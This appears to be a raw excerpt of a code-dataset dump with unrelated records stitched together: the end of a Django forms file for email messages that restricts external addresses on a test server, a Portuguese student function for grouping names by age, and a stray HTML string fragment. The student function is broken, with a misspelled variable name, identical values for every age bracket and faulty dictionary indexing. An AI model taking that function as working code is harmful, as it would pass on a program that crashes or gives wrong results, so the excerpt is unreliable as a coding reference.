self.fields[\"type\"].widget = forms.HiddenInput()\n\n def save(self, commit=True):\n m = super(EmailMessageForm, self).save(commit=False)\n m.save()\n\n if len(self.cleaned_data[\"ch_users\"]) > 0:\n for ch_u in self.cleaned_data[\"ch_users\"]:\n if ch_u not in self.instance.ch_users.all():\n InternalRecipient.objects.create(\n message=m,\n recipient=ch_u\n )\n\n if len(self.cleaned_data[\"client_users\"]) > 0:\n for c_u in self.cleaned_data[\"client_users\"]:\n if c_u not in self.instance.client_users.all():\n ExternalRecipient.objects.create(\n message=m,\n recipient=c_u\n )\n\n return m\n\n def clean_cc(self):\n form_data = self.cleaned_data\n cc = form_data['cc']\n if (not settings.LIVE) and form_data['type'] == Message.EMAIL:\n cc_addresses = re.split(';|,',cc)\n for address in (cc_addresses):\n if address.find(\"@castlehallalternatives.com\") == -1 and address.find(\"@castlehall.ca\") == -1 and address.find(\"%%\") == -1 and address != '':\n raise forms.ValidationError(\"External addresses are not allowed on UAT server.\")\n return cc\n\n def clean_bcc(self):\n form_data = self.cleaned_data\n bcc = form_data['bcc']\n if (not settings.LIVE) and form_data['type'] == Message.EMAIL:\n bcc_addresses = re.split(';|,',bcc)\n for address in (bcc_addresses):\n if address.find(\"@castlehallalternatives.com\") == -1 and address.find(\"@castlehall.ca\") == -1 and address.find(\"%%\") == -1 and address != '':\n raise forms.ValidationError(\"External addresses are not allowed on UAT server.\")\n return bcc\n\nclass InternalRecipientForm(forms.ModelForm):\n\n class Meta:\n model = InternalRecipient\n exclude = []\n widgets = dict(\n message=HiddenInput,\n recipient=HiddenInput\n )\n\n\nclass MessageForm(forms.ModelForm):\n\n body = forms.CharField(\n widget=TinymceWidget(\n attrs={'cols': 200, 'rows': 10},\n mce_attrs={'plugins': \"code table\", 'toolbar': \"insertfile undo redo | bold italic | alignleft \"\n \"aligncenter alignright alignjustify | bullist numlist\"\n \" outdent indent | table | code \"}),\n required=True)\n\n class Meta:\n model = Message\n widgets = dict(\n template=HiddenInput,\n type=HiddenInput,\n creator=HiddenInput,\n engagementtask=HiddenInput\n )\n exclude = (\"client_users\", \"ch_users\")","sub_path":"communication/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":16089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"520235623","text":"def agrupa_por_idade(dicionario):\n dicionario2 = {}\n for nome in dicionario:\n idade = dicionario[nome]\n if idade in dicionario2:\n crianca = dicionario2[idade]\n adulto = dicionario2[idade]\n idoso = dicionario2[idade]\n adolescente = diconario2[idade]\n if idade <11:\n dicionario2[crianca].append(nome)\n elif idade>60:\n dicionario2[idoso].append(nome)\n elif idade>12 and idade <17:\n dicionario2[adolescente].append(nome)\n else:\n dicionario2[adulto].append(nome)\n \n return dicionario2","sub_path":"backup/user_242/ch153_2020_04_13_19_45_16_139242.py","file_name":"ch153_2020_04_13_19_45_16_139242.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"}
    ' + i[0] + '' + newname + '